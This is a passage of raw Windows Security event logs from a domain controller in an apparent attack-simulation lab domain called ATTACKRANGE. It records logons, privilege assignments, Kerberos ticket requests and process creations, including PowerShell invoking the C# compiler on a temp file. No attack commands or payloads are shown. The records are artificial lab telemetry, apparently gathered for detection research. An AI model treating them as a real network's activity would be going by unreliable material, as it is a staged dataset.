Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C3A5

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250430
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C2D8

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250429
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10C2D8
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64449

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250428
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C2D8

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250427
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C206

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250426
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10C206
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64448

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250425
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C206

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250424
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C13C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250423
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x10C13C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64447

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:25 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250422
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10C13C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250500
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F9EE

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250499
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10E3F1

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250498
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11034A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250497
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11034A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250496
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250495
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250494
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250493
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd64
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0xd7c
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESB65C.tmp" "c:\Users\Administrator\AppData\Local\Temp\hmeaz2bd\CSC5A4A6FD7FE604C369FCAE59E0E8C17.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250492
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x244
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x12d0
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250491
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd7c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x135c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Administrator\AppData\Local\Temp\hmeaz2bd\hmeaz2bd.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250490
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F9EE

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250489
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F9EE
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250488
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250487
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{CEF9BB43-2DC3-CA86-F3F5-318A049BE17D}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250486
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250485
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10DF8B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x135c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250484
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x10F8D9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:26 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250483
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

